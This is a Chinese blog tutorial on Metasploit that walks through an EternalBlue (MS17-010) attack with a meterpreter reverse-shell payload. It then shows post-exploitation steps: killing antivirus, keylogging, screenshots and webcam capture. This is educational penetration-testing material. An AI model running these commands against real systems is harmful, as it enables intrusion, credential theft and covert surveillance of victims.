Metasploit从入门到实战完整指南

一、Metasploit简介

        Metasploit 是一款由Rapid7公司维护的开源渗透测试框架,被广泛用于漏洞利用、安全评估和渗透测试。其核心功能包括漏洞扫描、攻击载荷生成、后渗透控制等,覆盖渗透测试全生命周期。

核心组件

  1. 模块(Modules):分为6类——辅助模块(Auxiliary)、渗透攻击模块(Exploit)、后渗透模块(Post)、攻击载荷(Payload)、编码器(Encoder)、空指令(Nops)。
     
  2. 数据库支持:依赖PostgreSQL存储目标信息、漏洞数据及会话记录 。
     
  3. 接口工具:包括命令行(msfconsole)、图形界面(Armitage)和API接口 。

二、安装与配置

1.Kali Linux安装

  Kali Linux预装Metasploit,直接通过终端来启动:

sudo apt update
sudo apt install metasploit-framework
msfdb init   # 初始化数据库
msfconsole   # 启动控制台

2.Windows安装

  1. 下载安装包:从Metasploit官网下载Windows版安装程序 
  2. 配置环境变量:将安装目录下的bin文件夹路径添加到系统变量中。
  3. 启动数据库:
    msfdb init
    msfconsole

3.数据库管理 

    启动/停止数据库:

sudo systemctl start postgresql
sudo systemctl stop postgresql

    查看数据库状态:db_status。

三、核心命令与模块使用 

1.基础命令

命令功能描述
search按关键词搜索模块(如search ms17_010
use加载模块(如use exploit/windows/smb/ms17_010_eternalblue
set设置参数(如set RHOSTS 192.168.1.1
exploit/run执行攻击
sessions查看当前的会话

2.模块分类

         辅助模块(Auxiliary):用于信息收集(如端口扫描、弱口令爆破等等。)

use auxiliary/scanner/smb/smb_version

         渗透攻击模块(Exploit):利用已知的漏洞(如永恒之蓝MS17-010。)

use exploit/windows/smb/ms17_010_eternalblue

        后渗透模块(Post):在获取权限后提取数据(如获取密码、截图等等。) 

use post/windows/gather/enum_logged_on_users

四、实战案例:利用永恒之蓝(MS17-010)

步骤讲解:

1. 在kali命令行里面输入命令msfconsole,进入msf框架中:

msfconsole  #输入这个命令主要是进入msf渗透框架中

2. 搜索MS17-010漏洞:

命令:

search ms17_010  #利用search命令,搜索漏洞相关利用模块

这里我们找到了四个相关模块,就是有粉色的那四个,前三个是漏洞利用模块,后一个是辅助模块,主要探测主机是否存在MS17-010漏洞。

 3.使用MS17-010漏洞探测模块进行探测

命令:

use auxiliary/scanner/smb/smb_ms17_010

也就是上图中的24号模块,所以这里也可以使用这个命令:

use 24

4.查看这个模块需要配置的信息

命令:

show options  #查看这个模块需要配置的信息

可以看出,还有RHOSTS要进行配置 ,RHOSTS就是要探测主机的ip或ip范围,我们要探测一个ip范围内的主机是否存在这个漏洞。

命令:

set rhosts 192.168.100.100-192.168.100.190

5.对上面设置的ip范围内的主机进行攻击:

注意:有+号的就是可能存在漏洞的主机,这里探测到有两个主机存在漏洞。

命令:

exploit

6.使用Exploit漏洞利用模块对漏洞进行利用:

    6.1.选择漏洞攻击模块,对漏洞进行利用:

      命令: 

use exploit/windows/smb/ms17_010_eternalblue

   6. 2.查看这个漏洞的相关信息

     命令:

info:  #查看这个漏洞的信息

    6.3.查看可攻击的系统平台,显示当前攻击模块针对那些特定的操作系统版本、语言版本的系统:

     命令:

show targets  

 

7.设置攻击载荷(Payload):

        攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

    7.1.查看攻击载荷:

     命令:

show  payloads  #该命令可以查看当前漏洞利用模块下可用的所有Payload

    7.2.设置攻击载荷

     命令: 

set payload windows/x64/meterpreter/reverse_tcp

    7.3.查看并配置相应参数:

     命令:

show  options

    7.4. 进行攻击载荷的参数设置:

     命令:

set RHOST 192.168.100.158   #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.100.132   #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
set lport 6666              #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;

     7.5.进行攻击

      命令:

exploit/run   #两个命令都可以

 显示这样的页面则为攻击成功。

8.后渗透模块(Post)

        运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的6666端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现。

现在我们可以利用meterpreter命令来操控我们的靶机了。

命令:

Meterpreter > ?
==========================================
核心命令:
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话(用于 http/https)
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       (重新)协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静,然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================

命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件(ls 的别名)
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi:网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息,例如 OS

==========================================
Stdapi:用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件 (.wav)

==========================================
Priv:权限提升命令:
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性

meterpreter >

 8.1关闭杀毒软件

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:

run  killav

 8.2获取目标主机的详细信息

使用命令:

run scraper 

 它将目标机器上的常见信息收集起来然后下载保存在本地

8.3访问文件系统

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:

pwd     #查看当前目录
cd      #切换目标目录;
cat     #读取文件内容;
rm      #删除文件;
edit    #使用vim编辑文件
ls      #获取当前目录下的文件;
mkdir   #新建目录;
rmdir   #删除目录; 

8.4屏幕截图

截图目标主机屏幕,可以看到,图片被保存到了/root/桌面/目录下:
命令:

screenshot #截图目标主机屏幕

8.5键盘记录

 Meterpreter还可以在目标设备上实现键盘记录功能,命令:

keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;
keyscan_dump:  #显示捕捉到的键盘记录信息
keyscan_stop:  #停止键盘记录功能

8.6用目标主机的摄像头拍照录像

命令:

webcam_list    #获取目标系统的摄像头列表
webcam_snap    #从指定的摄像头,拍摄照片
webcam_stream  #从指定的摄像头,开启视频

五、总结

Metasploit是渗透测试领域的瑞士军刀,熟练掌握其功能可大幅提升安全评估效率。本文从安装到实战全面解析了其使用方法,适合作为入门到进阶的参考手册。 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值